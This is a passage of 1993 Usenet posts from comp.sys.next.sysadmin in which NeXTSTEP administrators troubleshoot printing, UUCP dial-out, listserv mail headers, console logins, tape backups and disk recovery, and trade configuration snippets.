Message-ID: <1993Feb28.204840.9542@cheshire.oxy.edu>
Sender: usenet@cheshire.oxy.edu (System Account)
Organization: Occidental College, Los Angeles, CA. USA
References: <1993Feb26.134619.22483@rchland.ibm.com>
Date: Sun, 28 Feb 1993 20:48:40 GMT
In article <1993Feb26.134619.22483@rchland.ibm.com> tpg@rchland.vnet.ibm.com
(Terry Gliedt) writes:
> After finally converting from NS2.1 to 3.0 I have been trying to get my
DeskJet
> printer to work. I installed the latest djf for 3.0 package and all appeared
to
> be just fine. However when I try printing, I get the following (or something
> close, this is from memory) from lpr:
>
> lpr: connect: no such file or directory
> cannot restart printer daemon
>
> After checking the BSD sources for lpr and lpd, it appears that lpd
establishes a
> named socket (/dev/printer, which I can see in /dev BTW). Using strings on a
BSD
> system here at work, I can see "/dev/printer" in the binaries. Doing the same
on
> my NeXTstation, I see "/dev/printer" in lpd, but not in lpr.
>
> Further investigation shows the following msg in /usr/adm/messages:
>
> lpd: Name lpr Msg connect "/dev/lpd/printer" No such file or directory
>
> Excuse me? "/dev/*LPD*/printer" !?? Sure enough, this string can be found in
> both binaries. Whats going on here ? The data from lpr gets properly queued,
its
> just that lpd never gets notified about it and so never prints the data.
I've
> even gone back the CDROM to check I had the proper binaries that
/etc/services
> was the same.
>
> I'd appreciate some advice. Thanks !
I am having this exact problem, too (though I have no DeskJets). I have
several NeXTs all on a local ethernet, sharing printers. All of the machines
but work just fine with the three printers (one Apple LaserWriter IINTX, two
NeXTPrinters) which are available. The NeXT that has problems won't work with
_any_ of the three printers, and the messages reported are exactly what were
reported above. I am stymied.
I also would appreciate any advice. Thank you in advance...
------------------------------------------------
a. lee jones ajones@oxy.edu
NeXTnet System Administrator,
Occidental College NeXTmail OK
------------------------------------------------
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From: rhamel@iat.holonet.net (Richard Hamel)
Subject: UUCP Follow-up Help!
Message-ID: <C36p3y.Apr@iat.holonet.net>
Organization: HoloNet National Internet Access BBS: 510-704-1058/modem
Date: Mon, 1 Mar 1993 00:23:56 GMT
Here is a bit more info about my UUCP problem:
1) My current L.sys :
holonet Any DIR 19200 cufa \
ABORT BUSY \
"" ATDT15107041058 \
CONNECT\d\r\
CR \
elp: holonet \
uest: xxxxxxx\
ssword: xxxxxxx \
one: uucp
2) My current L.devices:
#
# For those unusual modems which have dialing scripts in L.sys which know
how
# to dial them.
#
DIR cua unused 300 direct
DIR cua unused 1200 direct
DIR cua unused 2400 direct
DIR cufa unused 9600 none
DIR cufa unused 19200 none
3) My current /etc/remote:
BASIC|Basic setup:\
:el=^C^S^Q^U^D:ie=%$:oe=^D:
#
a2400|cua2400|Dial-out on cua at 2400 baud:\
:dv=/dev/cua:br#2400:tc=BASIC:
fa2400|cufa2400|Dial-out on cufa at 2400 baud:\
:dv=/dev/cufa:br#2400:tc=BASIC:
a9600|cua9600|Dial-out on cua at 9600 baud:\
:dv=/dev/cua:br#9600:tc=BASIC:
b9600|cub9600|Dial-out on cub at 9600 baud:\
:dv=/dev/cub:br#9600:tc=BASIC:
fa9600|cufa9600|Dial-out on cufa at 9600 baud:\
:dv=/dev/cufa:br#9600:tc=BASIC:
fb9600|cufb9600|Dial-out on cufb at 9600 baud:\
:dv=/dev/cufb:br#9600:tc=BASIC:
fa19200|cufa19200|Dial-out on cufa at 19200 baud:\
:dv=/dev/cufa:br#19200:tc=BASIC:
ttya9600|Hardwire on ttya at 9600 baud:\
:dv=/dev/ttya:br#9600:tc=BASIC:
ttyb9600|Hardwire on ttyb at 9600 baud:\
:dv=/dev/ttyb:br#9600:tc=BASIC:
# General dialer definitions used below
#
dial1200|1200 Baud Hayes attributes:\
:dv=/dev/cua:br#1200:at=hayes:du:
dial300|300 Hayes attributes:\
:dv=/dev/cua:br#300:at=hayes:du:
#
# UNIX system definitions
#
UNIX-1200|1200 Baud dial-out to another UNIX system:\
:el=^U^C^R^O^D^S^Q@:ie=#%$:oe=^D:tc=dial1200:
UNIX-300|300 Baud dial-out to another UNIX system:\
:el=^U^C^R^O^D^S^Q@:ie=#%$:oe=^D:tc=dial300:
#
tip0|tip1200:tc=UNIX-1200:
tip300:tc=UNIX-300:
cu0|cu300:tc=UNIX-300:
cu1200:tc=UNIX-1200:
dialer:dv=/dev/cua:br#1200:
4) My /usr/spool/uucp/LOGFILE after I issue a uupoll command:
root holonet (2/28-15:40-271) FAILED (LOGIN)
root holonet (2/28-15:40-271) FAILED (call to holonet )
5) I did not change any other files on my system (e.g tty's ....).
6) The modem I am using is a Practical Peripherals PM14400FXMT
(9600 w/ v.32, v.32bis, v.42, v.42bis, MNP 1-5).
7) The service which I am trying to call is called holonet (8N1) over in
Berkeley.
here is what I would normally do when I call :
mordor:5# tip fa19200
connected
atdt15107041058
CONNECT 19200
*****(here I have to hit a CR)********
Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc.
-HoloPacket(SM) - HIGH SPEED ACCESS TO HOLONET(SM) SERVICES
-------------------
------------ To access HoloNet type "holonet" at the service prompt
-----------
HoloPacket Class A -- Service name ("?" for help): holonet
Trying...
Connected to holonet.net.
HoloNet(SM) Internet Access BBS
HoloNet Member Name (Non-members type "guest"): XXXXX
Password:
Last login: Sun Feb 28 15:28:16 from annex
Please enter your terminal type (? for examples) or <CR> for none: vt102
***** (to access uucp I would need to type in uucp at the termainal
prompt)******
I can access this service with no problem using tip or Microphone Pro.
Thanks for your help!
Richard Hamel
Valar
Fax: 805.374.8514
I cant receive NeXT mail until I can hook up to UUCP!
P.S. I lost your E-mail address John Bartley AARGH!!
From: andrew@cubetech.com (Andrew Loewenstern)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: LISTSERVER for NeXTs???
Date: 27 Feb 1993 15:19:07 -0600
Organization: Cube Technologies, Inc
Message-ID: <1molsb$203@imladris.cubetech.com>
References: <1993Feb26.134024.12386@worldbank.org> <1993Feb27.074716.16063@antigone.com>
In article <1993Feb27.074716.16063@antigone.com> mross@antigone.com writes:
>masud cader (masud@invnext.worldbank.org) wrote:
>I am running NEXT-L and several other _large_ lists on a NeXT using
>unix-listserv.
>All in all, it's a very powerful program. I highly recommend it.
Note that because listserv completely destroys any incoming message's
header and creates it's own, NeXTMail sent to a listserv list will not
work due to the lack of the Next-Attachment line. Also, the licensing
agreement that comes with listserv specifically forbids modifying the
function that creates new mail headers.
Here is an awful, terrible, abominable hack that I use to 'fix' this
problem without modifying the listserv code. Since Next-Attachment is
always the last line in the header, this just sticks a newline before
it so listserv thinks it's part of the body and includes in messages
going out to the list. NeXTMail is smart enough to figure out what's
going on and displays the message properly. This is a 'lex' script.
See the lex manpage to find out what to do with it. Filter incoming
messages through this before you send them to catmail.
%%
"Next-Attachment: .tar." printf("\nNext-Attachment: .tar.");
That's it. :-)
andrew
--
andrew@cubetech.com | "We cannot dwell in the time that is to come,
Andrew Loewenstern | lest we lose our now for a phantom of our
Cube Technologies, Inc. | own design." - Erendis FYEO Public Key:
0000000701B61D1ADF0DFC9C16185CEA055200000007EB4A9FEB1922065D471A89E905B5
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: artebit!hauck (Georg-Bernhard Hauck)
Subject: Need help: dial-in secure
Message-ID: <1993Feb28.190632.444@artebit.in-berlin.de>
Keywords: dialin, mailbox, shell
Sender: hauck@artebit.in-berlin.de
Organization: artebit Ges.f.DV und Bildende Kunst mbH
Date: Sun, 28 Feb 1993 19:06:32 GMT
Hello -
1: I want to make my NeXT available for friends. I know, it is possible to change the
root-directory for a user to his/her homedirectory - but i don't know how !
2: Where is a SIMPLE/SMALL shellscript for dial-in (hello, if you want to download ...
upload ...message ....goodbye) ?
3: if the "gettytab"-entry for my dial-in-line is chnaged to "p8", i.e. 8-bit line, WHY
IS THE "Login: "-PROMPT SENT IN 7-BIT (the "Password: "-Prompt is ok), how can i allow
8-bit dial-ins ??
ATTENTION: MY FROM:-LINE IS INCORRECT -
reply to hauck@artebit.in-berlin.de
thanks in advance
Georg
-------------------------------------------------------------------------
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Alt-Tempelhof 16 fax: ++49 30 7513756
1000 Berlin 42 e-mail: hauck@artebit.in-berlin.de
Germany
Newsgroups: comp.sys.next.sysadmin
From: jjfeiler@relief.com (John Jay Feiler)
Subject: mail back from lpr not working
Message-ID: <1993Feb28.200219.13123@relief.com>
Keywords: sendmail mail lpr
Sender: jjfeiler@relief.com
Organization: relief consulting
Date: Sun, 28 Feb 1993 20:02:19 GMT
I've got something configured wrong on our network, and I'm not sure what it
is. Recently, a colleague tried to print something to a remote NeXT printer
via lpr -m. The mail message was generated, but it was addressed to
titan.ixion.com (ixion.com is our domain name, titan is the machine that the
lpr command was sent from). Our print server, titan didn't realize that it
was supposed to field this message, and sent it back to ixion.ixion.com
(ixion is the name of out print-server). Ixion, then sent the mail back to
titan, etc. How can I get either machine to accept the mail message, so it
doesn't just bounce back and forth?
Thanks
John
--
John Feiler jjfeiler@relief.com
4926 152nd St. SW NeXTmail Welcome!!!
Edmonds, WA 98026-3344 Independent NeXTSTEP Developer
Newsgroups: comp.sys.next.sysadmin
From: tisue@athens.uchicago.edu (Seth Tisue)
Subject: /usr/ucb/Mail: keeping outgoing messages
Message-ID: <1993Mar1.063643.19498@midway.uchicago.edu>
Sender: news@uchinews.uchicago.edu (News System)
Organization: Plaster Cramp Press
Date: Mon, 1 Mar 1993 06:36:43 GMT
A user has reported the following problem. According to
the man pages for /usr/ucb/Mail, you can add a line like this:
set record /Users/tisue/outgoing
to your .mailrc file to have all your outgoing mail archived.
However, this doesn't seem to work in NeXT's Mail binary...
You get the error message:
File exists
And nothing is saved.
Is this problem reproducible on other systems? Is there a fix?
(For instancewould i it be possible to recompile Mail from
BSD sources, or would that not work because of NetInfo and
so forth...)
--
== Seth Tisue (s-tisue@uchicago.edu)
"Beware of the wise/ Beware of the wise/ Lies, lies, lies" - Fred Frith
"Devote your life to a lost cause" - Jandek
Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin
From: subbarao@concorde.fc.hp.com (Kartik Subbarao)
Subject: Using NeXT optical disks with HP drives?
Message-ID: <1993Feb28.224551.20578@Princeton.EDU>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: putchar('I'); for (i = 0; i < 3; i++) putchar('E');
Date: Sun, 28 Feb 1993 22:45:51 GMT
Is it possible to do the above? Is their some magic disktab entry or
something that can coax the HP drive into reading the NeXT floptical, or are
the filesystems just totally radically different?
PLEASE respond by email, I will post any successful response I get.
-Kartik
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From: Matthias Imhof <gondwana@basalt.mit.edu>
Newsgroups: comp.sys.next.sysadmin
Subject: amslatex and nfss
Date: 1 Mar 1993 14:20:26 GMT
Organization: Massachvsetts Institvte of Technology
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Message-ID: <1mt63aINNkl1@senator-bedfellow.MIT.EDU>
NNTP-Posting-Host: basalt.mit.edu
i tried to install amslatex on my next. but i am not able to get it running
correctly as the example shows. my latex is as it comes out of the 3.0 package.
was anyone able to hook it up? what and how did you do?
basalt> latex testart.tex
This is CTeX, NeXT Version 3.141
(testart.tex
LaTeX Version 2.09 <25 March 1992>
(/usr/lib/tex/inputs/amsart.sty
AMS-LaTeX document style `AMSART' (1.1b, 31-JUL-1991)
(/usr/lib/tex/inputs/amstex.sty
AMS-LaTeX option `amstex.sty' (1.1, 21-JUN-1991)
(/usr/lib/tex/inputs/amstext.sty
AMS-LaTeX option `amstext.sty' (1.1, 21-JUN-1991)
! The style option `amstext' does not make sense if you do not use a format wit
h the new font selection scheme..
<argument> ...with the new font selection scheme.}
\endinput
\@ifundefined ...fx \csname #1\endcsname \relax #2
\else #3\fi
l.44 {}
matthias
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From: nv90-mwe@nada.kth.se (Martin Wennerberg)
Subject: Fonts and non-NeXT PS-printers?
Message-ID: <1993Mar1.153540.8003@kth.se>
Keywords: fonts, print, UNIX-hackers hear my plea
Sender: usenet@kth.se (Usenet)
Organization: Royal Institute of Technology, NADA
Date: Mon, 1 Mar 1993 15:35:40 GMT
(I know this question has appeared before but I have not found an answer.)
When printing to a PS-printer other than NeXT 400dpi Laserwriter
the NeXT printing demon does not download fonts that are not in the
printer memory. How can I make this work?
There is a UNIX command 'fontloader' which downloads a specific font to
the printer but I want it to work automatically. Has someone written some
kind of hack for this? If not here is an idea for a script:
get the fontnames from the PS file to be printed:
(the PS code contains something like
%%PageTrailer
%%DocumentFonts: Goudy-Old-Style-Italic
%%+ Goudy-Old-Style-Normal
%%+ Helvetica
find out which of these fonts are not already in the printer.
(I have no clue on how this is made)
fontloader $theFontnames theFileToBePrinted.ps | lpr -PPRINTER
Anybody got any ideas?
(I m using is an Apple IINTX Laserwriter.)
----------
Martin Wennerberg
Student of Computerscience at the University of Stockholm
email: nv90-mwe@nada.kth.se (NeXTmail OK)
Snailmail: Ektorpsv. 41, 131 47 Nacka, SWEDEN
Phone (home): +8 716 06 30
From: ufessex@mcl.ucsb.edu (Fabian E. Schonholz)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT will not turn on!!
Message-ID: <ufessex.731002990@mcl>
Date: 1 Mar 93 16:23:10 GMT
Sender: root@ucsbcsl.ucsb.edu
It always happens when you have a buyer...argggggg!!!
Well, my machine does not want to turn on. I mean that I pressed the
power key and nothing happens. About an year ago I had the same problem,
but somehow it solved itself out!!! I tryed turning the machine on (notice
that I am not saying "booting" the machine) and nothing, so I let it seat
there for a while. Changed the plugs, etc...tryed...nothing. Got the plugs
again in the original set up and voila!!!! it came on an booted. Same way
now...but it has been a week or so since it has not come on and (I was also
sick with a cold and fever) and I got a buyer for it and would hate to sell
a machine that is not working properlly. I suspect the keyboard, but I am not
sure...ANY IDEAS!!!!!
--
Fabian E. Schonholz
ufessex@mcl.mcl.ucsb.edu.us
fessex@cs.ucsb.edu.us
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: LaserJet Printing Troubles
Date: 1 Mar 1993 17:28:58 GMT
Organization: University of Houston
Message-ID: <1mth4qINNhfl@menudo.uh.edu>
References: <1993Feb26.220933.6218@eecs.nwu.edu>
In article <1993Feb26.220933.6218@eecs.nwu.edu> bogdan@eecs.nwu.edu (Bogdan
Vacaliuc) writes:
#Hello,
#
# I have been trying to connect a HP LaserJet (4) printer to our NeXT
network
#of two machines for about a week now. Originally we had hoped to use the
#LocalTalk port on the HP. (It has a parallel,serial,and LocalTalk port).
#Anyway, we left that since LocalTalk uses differential RXD and TXD lines.
#
# Moving on to the obvious serial line connection, I followed the pin-
#diagrams given in the NeXT documentation and constructed a cable. (There
are
#a number of conflicting descriptions around - I've tried them all!)
Anyway,
#at this point we have a cable from NeXTConnection and one that I think
#should work based on what HP says the serial port pinouts are. (RS-232C)
#
# Anyway, I've setup NetInfo with a number of parameters to setup the
serial
#port properly. I've tried the LaserWriter parameters (suggested by
#NeXTConnection), I've tried my own settings based on my understanding of
#what the printer would expect on the serial line. The two refuse to
#speak to each other no matter what I've tried. Lpd starts up and spawns
#processes when files are spooled. Lpq reports the printer is not
responding.
#
# What I'm hoping is that someone out there is happily printing on a
#HP LaserJet via a serial port. I would very much like to know what are
your
#NetInfo parameters (the printcap database), and what are the connections on
#your serial cable (test with an ohm-meter?). Essentially what you did to
#get the system functional.
#
We have a LaserJet4M connected to the serial port of a color NeXTStation.
We use the following configuration:
LaserJet4M: \
:lf=/usr/adm/lpd-errs:sf=:sb=:lp=/dev/null:mx=0: \
:if=/usr/lib/NextPrinter/Server/prserver: \
:cf=/usr/lib/NextPrinter/Server/pscf: \
:df=/usr/lib/NextPrinter/Server/psdf: \
:gf=/usr/lib/NextPrinter/Server/psgf: \
:nf=/usr/lib/NextPrinter/Server/psnf: \
:rf=/usr/lib/NextPrinter/Server/psrf: \
:tf=/usr/lib/NextPrinter/Server/pstf: \
:vf=/usr/lib/NextPrinter/Server/psvf: \
:ty=HP LaserJet IIIP PostScript Cartridge: \
:note=Located in Room N138-D:nxformat=3.0: \
:sd=/usr/spool/NeXT/LaserJet4M:af=/usr/adm/LaserJet4M.acct: \
:sharedAs=LaserJet4M:sharedTo=/host:
HP Serial Menu
Serial: RS-232
Pacing: XON/XOFF
Baud Rate: 9600
Robust XON: On
DTR Polarity: High
We only have occasional problems (the printer is also hooked in parallel to
a PC running windows.) but we like the printer alot!!! Highly recomended.
# Thanks again!
#
#-bogdan
#(bogdan@eecs.nwu.edu)
--
Paul S. Sears * sears@uh.edu (NeXT Mail OK)
The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin
From: schwarze@delphi.nosc.mil (David Schwarze)
Subject: Executor-why must I be root?
Message-ID: <1993Mar1.171120.13158@nosc.mil>
Sender: pinney@nosc.mil (Mel M. Pinney)
Organization: Naval Ocean Systems Center, San Diego, CA
Date: Mon, 1 Mar 1993 17:11:20 GMT
I just downloaded the demo of Executor, but it says I must be root to
install it. I am worried by this. Does anyone know why root privledge is
required? Has anyone downloaded and used this demo? This machine is used by
several people and I don't want to hose it up or introduce any kind of virus
onto it.
Thanks,
David
================================================================================
David Schwarze
(schwarze@delphi.nosc.mil or NeXT mail schwarze@isenext2.saic.com)
"Opinions expressed are just that"
================================================================================
Newsgroups: comp.sys.next.sysadmin
From: jaeger.ka.sub.org!stephan (Stephan Jaeger)
Subject: CDPlayer.app only as root executable
Message-ID: <1993Mar1.113639.7665@jaeger.ka.sub.org>
Sender: stephan@jaeger.ka.sub.org
Organization: Stephan's Unox Bastelladen
Date: Mon, 1 Mar 1993 11:36:39 GMT
Hello folks out there in NeXTland,
I have a problem with the CDPlayer.app :
I can only start CDPlayer.app if I am working as root.
If I work as normal user, I can't start this app, because the application
cannot find the CD-ROM-drive.
If I insert a normal CD-ROM (BGCD, ...), I can work with this CD-ROM.
Any ideas ?
Thanks in advance.
Stephan Jaeger
--
This space for rent.
Contact: Stephan Jaeger, Rheinstr.40, D-7500 Karlsruhe 21
+49 721 554293 stephan@jaeger.ka.sub.org
Newsgroups: comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: Next NFS server upgrade
Message-ID: <1993Mar1.193352.8194@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1993Feb19.031342.16288@cognet.ucla.edu>
Distribution: na
Date: Mon, 1 Mar 1993 19:33:52 GMT
In terms of NFS servers, take a good look at HP's workstation line.
They default to comming with full SCSI 2, and they support sync mode
disks. This means, that the Fuji 2.4 GB will run at 10 MB/sec in theory.
I was just talking to HP. The're version of nfs can be configured for either
write-back or write-through. (In write-back, the data is cached, but the nfs
daemon lies to the client, and says that the data has been written to disk.
This makes writes as fast as reads.
Bottom end HP is about the same price as a new Next was.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin
From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo)
Subject: Q: What does this error mean
Message-ID: <1993Mar1.194511.21098@magnus.acs.ohio-state.edu>
Sender: news@magnus.acs.ohio-state.edu
Organization: The Ohio State University
Date: Mon, 1 Mar 1993 19:45:11 GMT
On some of our machins, if we try to login on console as root, the machine
starts setting up the workspace and then "all of a sudden" quits back
to the login window. I would assume there is some sort of permission problem,
but I checked the /usr/adm/messages log, and it had this:
Feb 16 16:52:24 peach -[152]: loginwindow: Workspace exited ts 0 cd 0 rc 0 sv 0 ss 0.
Feb 17 12:19:45 peach pbs: pbs error: couldn't stat services cache
What does this mean?
Thanks,
shane
Newsgroups: comp.sys.next.sysadmin
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: NeXT will not turn on!!
Message-ID: <C389vz.3FC@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <ufessex.731002990@mcl>
Date: Mon, 1 Mar 1993 20:50:08 GMT
ufessex@mcl.ucsb.edu (Fabian E. Schonholz) writes:
>It always happens when you have a buyer...argggggg!!!
>Well, my machine does not want to turn on. I mean that I pressed the
>power key and nothing happens. About an year ago I had the same problem,
>but somehow it solved itself out!!! I tryed turning the machine on (notice
>that I am not saying "booting" the machine) and nothing, so I let it seat
>there for a while. Changed the plugs, etc...tryed...nothing. Got the plugs
>again in the original set up and voila!!!! it came on an booted. Same way
>now...but it has been a week or so since it has not come on and (I was also
>sick with a cold and fever) and I got a buyer for it and would hate to sell
>a machine that is not working properlly. I suspect the keyboard, but I am not
>sure...ANY IDEAS!!!!!
Perhaps the boot cmos has been corrupted. Try removing the battery,
shorting the battery holder terminals, and replacing the battery
(mind the positive and negative marks).
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: root@lotka.Stanford.EDU (Operator)
Newsgroups: comp.sys.next.sysadmin
Subject: NS 2.55?
Date: 1 Mar 1993 22:59:15 GMT
Organization: Stanford University
Distribution: na
Message-ID: <1mu4g4INNi9n@morrow.stanford.edu>
After three months of trying out 3.0 on one of our three systems I decided it
was OK enough to upgrade the other two. I started with the 105MB slab, and
noticed after about 90 min the Workspace was reporting "NO SPACE ON DISK".
Another 30 min and Upgrade.app's status was still hanging on the same file, so
I figured I'd stop, clean up, and restart. Stopping didn't work, but looking
across the net at the filesystem showed most everything was in place so I tried
rebooting (I know I know....)
So now our slab is stuck somewhere between 2.1 and 3.0 and panics on a poweron
or reboot. I don't know what files are missing or how to get them. All I can
figure is to build a boot floppy and start over from 2.1, but the instructions
I thought I was carefully keeping for building a boot floppy are nowhere to be
found.
Is that the best I can do? If so, does anyone have the boot floppy
instructions? If not, does anyone have a better suggestion?
--Eric Minch
root@lotka.stanford.edu
minch@lotka.stanford.edu
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From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: talk, rwho, printer questions
Message-ID: <1993Mar1.231105.15881@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1m3aom$he7@news.cs.tu-berlin.de>
Date: Mon, 1 Mar 1993 23:11:05 GMT
S. F. Ruehauf (gonzo@cs.tu-berlin.de) wrote:
:
:
: Hello admins
:
: I've got a few questions
:
: 1 - how do you know how many copies your NeXT laser printer printed?
: when is the toner gone?
: the good old 'pagecount' PS variable doesn't work. this is always
: NIL. Any hint?
Start NetInfoManager
open up printers in netinfo
open up Local_Printer
add new property af
add value for af /etc/Local_Printer.log
save and close.
touch /etc/Local_Printer.log
This file will accumulate entires in the form
4.00 pluto:beth
3.00 pluto:root
1.00 arafel:root
which is page host:user
See man page for pac for totaling pages.
or the following one liner will also:
/usr/local/bin/gawk '{sum+=$1; next} END {print sum}' <
/etc/Local_Printer.log
The log file can be called anything, but it must already exist. Lpd
won't create it.
:
: 2- 'rusers' is a sytemV routine. rwho is bsd.
: Why doesn't NeXT, right out of the box, support rwho? :
: sfr@dasburo 73 (~) > rwho
: /usr/spool/rwho: No such file or directory
:
rwho is fine on a small network. But the rwho traffic can get fierce on
a large network. Most places don't have it running.
: 3- why is it impossible to 'talk'?
: how do I set up talk (hostname in /etc/hosts, setuid for ../Terminal)
: what else?
:
If you are running terminal, the executable must be setuid root.
If you are running Stuart, earlier than 2.4 ditto
If you are running Stuart >= 2.4, check initialization of slog.
: thanx in advance
:
: Stephan
:
:
:
:
:
:
: --
: Stephan Fruhauf gonzo@opal.cs.tu-berlin.de
: what is X400? s=gonzo ou=opal p=tu-berlin a=dbp c=de
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
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From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: CDPlayer.app only as root executable
Message-ID: <C38GrG.JK1@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
References: <1993Mar1.113639.7665@jaeger.ka.sub.org>
Date: Mon, 1 Mar 1993 23:18:50 GMT
In article <1993Mar1.113639.7665@jaeger.ka.sub.org> jaeger.ka.sub.org!stephan (Stephan Jaeger) writes:
>Hello folks out there in NeXTland,
>
>I have a problem with the CDPlayer.app :
>
>I can only start CDPlayer.app if I am working as root.
>If I work as normal user, I can't start this app, because the application
>cannot find the CD-ROM-drive.
>If I insert a normal CD-ROM (BGCD, ...), I can work with this CD-ROM.
I have the exact same problem. CDPlayer, the executable in the app
wrapper is suid root, but it still fails.
Sometimes I get it to work by playing around with different floppy
mounted/floppy in the drive but not mounted/public window server set/
public window server not set combiniations, but have never been able
to narrow it down. If anyone comes up with an answer, I'd love to
hear about it.
-rob
---
Rob Francis Unix Systems Specialist, Indiana University
francisr@indiana.edu (812)855-0327
Newsgroups: comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: mount: / not found
Message-ID: <1993Mar1.232150.16250@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1m3cveINN9bb@au-ns.american.edu>
Date: Mon, 1 Mar 1993 23:21:50 GMT
Carlos Li (carlos@american.edu) wrote:
: We are having problems rebooting our NeXTstation with a 105MB disk drive.
: We get the messages:
: mount: / not found
: Faking root mount entries
: ..
: Then, it stops in the middle of coming up in multi-user mode. When I try
: booting to single user, the /dev/sd0a seems to get mounted as read-only,
: so I cannot modify anything, like in /etc/fstab.
: I've tried booting up from a floppy and then mounting the hard disk. It
: lets me do it, and I can change the fstab file, but when I reboot again,
: it goes back to what it was before.
: We had a power outage the night before this happened.
: There is an extraneous line in the fstab file saying that it is trying to
: mount / from Net (or something like), which is what I'm trying to get rid
: of.
: I hope I made some sense here.
: Any help is welcome.
:
: --Carlos.
First:
To avoid the floppy bit, boot it single user, and
mount -o remount,rw /dev/sd0a
Second
run fsck -p /dev/rsd0a
Once it runs clean (may take more than one pass)
reboot -n
Now, do the mount remount bit, and edit /etc/fstab, save, run more on
it to check that you did save it correctly. (Vi/ed/ex are such *fine*
editors.)
halt the machine, and boot multiuser.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: doodle@diddle.com
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NS 2.55?
Date: 2 Mar 1993 00:48:22 GMT
Organization: Stanford University
Distribution: na
Message-ID: <1muasmINN8k2@morrow.stanford.edu>
Just to forestall any helpful responses to my earlier post
(which described a slab hung in limbo between 2.1 and 3.0), I
tried booting off the ODtools floppy (bfd from NMI monitor) and
it worked. Nowhere in the documentation could I find any
indication that this floppy was bootable.
Never mind, it's working now. I'll just remember this in case
anyone else paints himself into the same corner.
--Eric Minch
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From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: How to suppress console logins?
Message-ID: <1993Mar2.012426.20652@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <rich.730172873@pencil>
Date: Tue, 2 Mar 1993 01:24:26 GMT
Rich Winkel (rich@pencil.cs.missouri.edu) wrote:
: The existence of /etc/nologin suffices to keep out telnet logins, but
: it has no effect on console logins. What to do?
:
: Rich
The following is a kludge, but it should work:
In /etc/ttys:
console /usr/lib/NextStep/loginwindow NeXT on secure
window=/usr/lib/NextStep/WindowServer onoption="/usr/etc/getty std.9600"
ttya "/usr/etc/getty std.2400" unknown off
ttyb "/usr/etc/getty std.9600" unknown off secure
..
make a copy of /etc/ttys, call it /etc/ttys.console
make a copy of /etc/ttys, call it /etc/ttys.noconsole
In that copy commend out the console line. This should keep getty from
running on the console.
Now your login dis-abler will have to do something like
cp /etc/ttys.noconsole /etc/ttys
kill -HUP 1
And your boot script should
cp /etc/ttys.console /etc/ttys
Hope this helps
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
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From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: Please help: SCSI timeout
Message-ID: <1993Mar2.013653.21154@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <C2tpp2.16I@news.cis.umn.edu>
Date: Tue, 2 Mar 1993 01:36:53 GMT
Kenneth Nelson (knelson@milli.cs.umn.edu) wrote:
: Netters,
:
: I am trying to backup a NeXT Dimension running NeXTSTEP 2.1 to a SCSI
: DAT Archive Python Model 4230 using /usr/etc/dump. Approximately 1/2
: through the backup, dump crapped out with a tape write error. Further
: examination of the console revealed:
:
: reselect timeout - target 5
: st: cmd = 0xa sr_io_status = 5H
:
5 is illegal request. Check your manual. It may be that the Python
doesn't support disconnect/reconnect, or that a jumper has to be set.
:
: 2. Is it reasonable for a SCSI peripheral to be unable to keep up?
:
Yup. If it's buffer is full, or if it's doing something like moveing
the tape, it won't respond. Next's tape drivers are a tad flakey. My
backup script (written in perl) goes to unreal lengths to try to work
around all the various ways things can go wrong.
It could also be that the python is expecting fixed block of 512, while
the next defaults to variable block. Then if the Next does a disconnect
at some odd point, the python may get confused. (Guessing)
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
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From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: 8mm Tape Drives?
